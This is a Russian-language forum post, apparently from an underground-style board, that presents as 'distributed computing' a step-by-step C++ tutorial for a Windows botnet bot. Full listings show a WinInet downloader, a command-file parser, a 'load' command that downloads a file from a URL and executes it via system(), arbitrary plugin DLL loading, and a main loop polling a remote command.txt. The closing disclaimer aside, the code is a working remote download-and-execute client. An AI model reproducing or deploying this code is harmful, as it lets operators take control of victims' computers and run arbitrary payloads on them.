03.08.2024

Процесс создания программного обеспечения для распределенных вычислений (С++).

Vortex777

Интересующийся
Регистрация
27.06.2022
Сообщения
98
Реакции
0
Гарант продажи
0
Гарант покупки
0
Депозит
0 р
Введение.

Данный материал рассматривает процесс создания программного обеспечения, реализующего распределенные вычисления. Будучи рассчитанным на невысокий уровень подготовки читателя, он не претендует на открытие чего-либо нового. Автор попытался поэтапно описать процесс создания программы с наиболее детальными комментариями к коду и объяснить значение каждой команды в листингах. Гуру программирования получат отличную площадку для критики и возможность предложить свои идеи, касающиеся оптимизации кода.


О виновнике торжества.

Точнее - о виновниках. Распределенные вычисления - способ решения трудоёмких вычислительных задач с использованием двух или более компьютеров, объединённых в сеть. В свою очередь, эта сеть компьютеров называется ботнетом (более подробную информацию можно получить, перейдя по ссылке в конце статьи).
В настоящее время под «ботнетом» в большинстве случаев понимается сеть компьютеров, зараженных вредоносным программным обеспечением – ботом. Однако, принцип любого ботнета – это прежде всего какие-либо распределенные действия, поэтому автор материала предлагает читателям абстрагироваться от понятия «ботнет» и приступить к разработке необходимого для организации распределенных вычислений ПО.


Шаг первый.

С первого шага начинается путешествие в тысячу ли (с) (Лао-Цзы). Нашим отправным пунктом станет проектирование программы (чтобы не повторяться, назовем ее «ботом»).
Бот должен уметь:

1. получать команду от сервера;
2. обрабатывать команду, т. е. классифицировать ее на «известную» или «неизвестную» и соответствующим образом обрабатывать ее параметры;
3. выполнять команду.


За кажущейся примитивностью наших требований скрывается много подводных камней. Например, как бот будет узнавать о новых командах? Для этого появляется еще одно требование: программа должна поддерживать плагины. На плюсах плагинной технологии заострять внимание нет смысла, т. к. очевидно, что расширяемость программы и ее модернизация в нашем случае окажется полезной. Теперь перейдем к практической части, разбавленной теоретическими выкладками.


Шаг второй. Создаем соединение и получаем команды.

При написании программы использовалась среда программирования MS Visual Studio 2008. Чтобы не заниматься рутиной (имеется в виду работа с сокетами), воспользуемся стандартной библиотекой, которая присутствует в Windows: wininet.dll. Данная DLL представляет собой API для доступа к общим протоколам интернет, включая FTP, HTTP и Gopher. Это высокоуровневый API, позволяющий, в отличие от WinSock или TCP/IP, не заботиться о деталях реализации соответствующих интернет протоколов. Кстати, именно ее использует MS Internet Explorer.
Если с инструментами все понятно, то детали, касающиеся алгоритма работы программы, требуют пояснения. Пусть команды, предназначенные боту, находятся на сервере в файле command.txt. Тогда для получения команд бот должен периодически соединяться с сервером и скачивать указанный файл. Следующий листинг демонстрирует описанные действия:
Код:
//httpd.cpp
//Реализация скачивания файла

#include <windows.h>
#include <wininet.h>

#pragma comment(lib,"wininet")//подключаем библиотеку WinInet

void HTTPDownload(char *FileUrl, char *FileName)//передаются параметры: путь к файлу на сервере, имя файла для сохранения результата запроса
{
BYTE bBuffer[4096];
DWORD dCount=0;
HANDLE hOutputFile;
    hOutputFile = CreateFile(//создание файла, в который сохраняются результаты запроса
        FileName,
        GENERIC_WRITE,
        FILE_SHARE_READ,
        NULL,
        CREATE_NEW, FILE_FLAG_WRITE_THROUGH | FILE_FLAG_SEQUENTIAL_SCAN,
        NULL);
    HINTERNET hInternet = InternetOpen( //инициализация библиотеки WinInet.dll (получение дескриптора соединения)
        "DLLDownloader",//параметр, который определяет информацию в поле "User Agent"
        INTERNET_OPEN_TYPE_PRECONFIG,//тип доступа (прямой или прокси); параметр по умолчанию (настройки из реестра)
        NULL,
        NULL,
        0);
            if(hInternet !=NULL)
                {
                    HINTERNET hRequest = InternetOpenUrl(//создание и отправка запроса серверу (получение дескриптора сессии)
                        hInternet,//дескриптор соединения
                        FileUrl,//путь к скачиваемому файлу на сервере
                        0, 0, 0, 0);
                if(hRequest != NULL)
                {
                    do {
                        BOOL bSend = InternetReadFile(//чтение результата запроса
                            hRequest,//дескриптор сессии
                            bBuffer,//адрес буфера, содержащего скачиваемые данные
                            sizeof(bBuffer),//размер буфера
                            &dCount);//количество скачиваемых байт
                    WriteFile(hOutputFile, bBuffer, dCount, &dCount, 0);//запись результата запроса в файл
                    }
                    while (dCount == 4096);
                }
                InternetCloseHandle(hRequest);//закрытие запроса
          }
        InternetCloseHandle(hInternet);//закрытие соединения
  CloseHandle(hOutputFile);//закрытие файла
}
Шаг третий. Обрабатываем командный файл и подключаем необходимые DLL.

Под обработкой командного файла автор подразумевает действие программы, в результате которого бот получает две строки: название команды и строка, содержащая параметры этой команды (перечисленные через символ пробела). Командный файл имеет следующую структуру команды:
<команда(1)> [параметр(1)] [параметр(2)] … [параметр(i)]
<команда(2)> [параметр(1)] [параметр(2)] … [параметр(j)]

<команда(k)> [параметр(1)] [параметр(2)] … [параметр(n)]

где i, j, k меняются в интервале (1; бесконечность).
Действия бота следующие:

1. выделение k-ой строки;
2. передача выделенной строки в функцию, которая реализует подключение библиотеки, необходимой для выполнения команды (в листинге – функция PlugLibrary);
3. PlugLibrary сама разделяет строку на команду и параметры и выполняет необходимое действие, зависящие от типа команды.


Первые 2 пункта реализованы в следующей функции:
Код:
//parse.cpp
//Реализация обработчика (парсера) командных файлов

#include <windows.h>
#include "pluglib.h"//подключение заголовочного файла, содержащего прототип функции "PlugLibrary"

void Parse(char *FileName)//передача имени командного файла
{
    DWORD dwCount=0;
    char cCurrentSymbol;
     int iCount=0;
    char Command[256];//максимальный рамер строки в командном файле
    HANDLE hFile=CreateFile(//открытие командного файла
            FileName,
            GENERIC_READ,//открытие в режиме чтения
            FILE_SHARE_READ,//разрешение доступа к файлу для нескольких процессов
            NULL,
            OPEN_EXISTING,//открытие существующего файла
            0, NULL);
//чтение содержимого командного файла
while (true)
    {
        ReadFile(//чтение данных
            hFile,//дескриптор файла, полученный при открытии
            &cCurrentSymbol,//адрес буфера для считываемого символа
            1,//размер буфера для считываемого символа
            &dwCount,//количество прочитанных байт
            NULL);
        if (dwCount==0) break;
         if (cCurrentSymbol=='\n')//обнаружение перехода на следующую строку
        {
            Command[iCount]='\0';//создание строки
                PlugLibrary(Command);//передача строки для выполнения
            iCount=0;
        }      
        else
        {                  
                Command[iCount]=cCurrentSymbol;//добавление прочитанного символа к массиву символов
                iCount++;
        }
    }
CloseHandle(hFile);//закрытие файла
}
Функция PlugLibrary отделяет команду от параметров. Далее, в зависимости от типа команды, функция выполняет одно из следующих действий:

1. Удаление известной команды (фактически: удаление библиотеки, в которой реализована команда).
2. Загрузка файла. Если файл является DLL, то подключение этой библиотеки; если является исполняемым файлом или т.п., то запуск этого файла.
3. Если известная команда, то подключение ее библиотеки и запуск.


Код рассмотренной функции приведен ниже.
 

Vortex777

Интересующийся
Регистрация
27.06.2022
Сообщения
98
Реакции
0
Гарант продажи
0
Гарант покупки
0
Депозит
0 р
Код:
//pluglib.cpp
//Реализация выполнения команд

#include <windows.h>
#include "httpd.h"//подключение заголовочного файла, содержащего прототип функции "HTTPDownload"

void Delete(char *FileName)//функция-обработчик команды "delete"; передача имени удаляемой библиотеки (каманды)
{
    WIN32_FIND_DATA wfd;//структура (буфер), получающая информацию о найденном файле
    HANDLE hFind = FindFirstFile(FileName, &wfd);//функция поиска файла; возвращение дескриптора найденного файла в переменную hFind
              if (INVALID_HANDLE_VALUE != hFind)//если файл обнаружен
              {
                CloseHandle(hFind);//закрытие дескриптора файла (в целях экономии системных ресурсов)
                //подключение библиотеки
                //если библиотека уже была подключена, функция "LoadLibrary" возвращает дескриптор уже подключенной библиотеки
                HINSTANCE    hPlugin;
                hPlugin = LoadLibrary(FileName);//подключение библиотеки
        //выгружение библиотеки
        //использование функции "FreeLibrary" повторно необходимо для закрытия дескриптора, который был получен ренее в процессе выполнения программы
        FreeLibrary(hPlugin);
        FreeLibrary(hPlugin);
                DeleteFile(FileName);//удаление библиотеки
              }
}

int PlugLibrary(char *CommandLine)//функция-обработчик команд; передача строки, содержащей команду и ее параметры
{
char DllName[30], Parametrs[225];//массивы, содержащие имя команды и параметры к этой команде соответственно
HINSTANCE hPlugin;
int i=0, j=0;
    //выделение команды (имени запускаемой библиотеки) из строки CommandLine
    while (CommandLine[i]!=' ')
    {
        DllName[i]=CommandLine[i];
        i++;
    }
    DllName[i]='\0';//создание строки, содержащей имя команды
    i++;
//если команда "load"
    if ((DllName[0]=='l')&&(DllName[1]=='o')&&(DllName[2]=='a')&&(DllName[3]=='d')&&(DllName[4]=='\0'))
    {
        //выделение строки с параметрами
        while (CommandLine[i]!='\0')
        {
            Parametrs[j]=CommandLine[i];   
            i++;
            j++;
        }
        Parametrs[j-1]='\0';//создание строки, содержащей параметры
int  k=0;//счетчик количества параметров
j=0;
i=0;
char cParametr[2][250];//параметры команды "load"
    while (Parametrs[i]!='\0')//обработка параметров
    {
        //выделение i-го параметра
        if (Parametrs[i]!=' ')
        {
            cParametr[k][j]=Parametrs[i];
            i++;
            j++;
        }
        else
        {
            cParametr[k][j]='\0';//создание строки, содержащей k-й параметр
            k++;
            i++;
            j=0;
        }
    }
cParametr[k][j]='\0';//создание строки, содержащей последний найденный параметр
        //если последний параметр функции "load" не является библиотекой
        if ((cParametr[1][j-1]!='l')&&(cParametr[1][j-2]!='l')&&(cParametr[1][j-3]!='d'))
        {
            HTTPDownload(cParametr[0],cParametr[1]); //скачивание файла
            system(cParametr[1]);//запуск файла
            return 0;
        }
        else
        {
            HTTPDownload(cParametr[0],cParametr[1]);
            return 0;
        }
}
//если команда "delete"
if ((DllName[0]=='d')&&(DllName[1]=='e')&&(DllName[2]=='l')&&(DllName[3]=='e')&&(DllName[4]=='t')&&(DllName[5]=='e')&&(DllName[6]=='\0'))
{
while (CommandLine[i]!='\0')//выделение строки с параметром
    {
        Parametrs[j]=CommandLine[i];   
        i++;
        j++;
    }
Parametrs[j-1]='\0';
    Delete(Parametrs);//вызов функции удаления файла (команды)
    return 0;
}
//если передана произвольная команда
    while (CommandLine[i]!='\0')
    {
        Parametrs[j]=CommandLine[i];
        i++;
        j++;
    }
    Parametrs[j-1]='\0';
        hPlugin = LoadLibrary(DllName);//подключение библиотеки (получение дескриптора), обрабатывающей данную команду
typedef  int (*DefType)(char *);//определение типа (DefType), который будет объявлять указатель на функцию, принимающую указатель на символьный буфер и выдающую значение типа int
        DefType Load = (DefType) GetProcAddress(hPlugin,"Load");//определение адреса функции "Load", которую экспортирует библиотека
        int iCode=(*Load)(Parametrs);//вызов функции "Load" и передача параметров этой функции
return 0;
}
Шаг четвертый. Главная функция.
Код:
//main.cpp
//Реализация основной функции

#pragma comment(linker,"/ENTRY:main")//указание линкеру точки входа в программу (в целях уменьшения размера исполняемого файла)

#include <windows.h>
#include "httpd.h"//подключение заголовочного файла, содержащего прототип функции "HTTPDownload"
#include "parse.h"//подключение заголовочного файла, содержащего прототип функции "Parse"

void main()
{
    do
    {
    HTTPDownload("http://www.gate.ru/command.txt","command.txt");
    Parse ("command.txt");
    DeleteFile("command.txt");
    }
    while (true);
}

Комментарии говорят сами за себя. Стоит отметить, что функция периодически скачивает и проверяет командный файл.


Немного о DLL.

Стоит немного рассказать об интерфейсе подключения библиотеки, содержащей реализацию команды, к программе.
Так как заранее неизвестно, сколько параметров потребуется той или иной команде (имеется ввиду в процессе разработки главного исполняемого файла), в каждой DLL происходит обработка строки с параметрами, т. е. осуществляется запись каждого параметра в массив, который, в свою очередь, DLL использует так как ей необходимо.
В проекте, прилагаемом к статье, в качестве примера подключаемой DLL содержится библиотека, которая выводит MessageBox с заданными параметрами окна.


Заключение.
В статье были рассмотрены некоторые аспекты создания программного обеспечения, которое является основой для организации сети распределенных вычислений (также известной как «ботнет»). В качестве концепта, к материалу прилагается проект для MS Visual Studio 2008. В проекте, помимо описанных действий, реализована многопоточность, т. е. для каждой подключаемой библиотеки создается свой поток, реализовано управление пулом потоков. Тема многопоточности выходит за рамки данной статьи, поэтому автор предпочел не указывать код, реализующий работу потоков, в листингах.
В заключение, хотелось бы отметить, ПО, рассмотренное в статье, никоим образом не рассчитано на деструктивные действия. Более того, сферы применения исходных кодов ограничиваются лишь фантазией программиста.
 
Сверху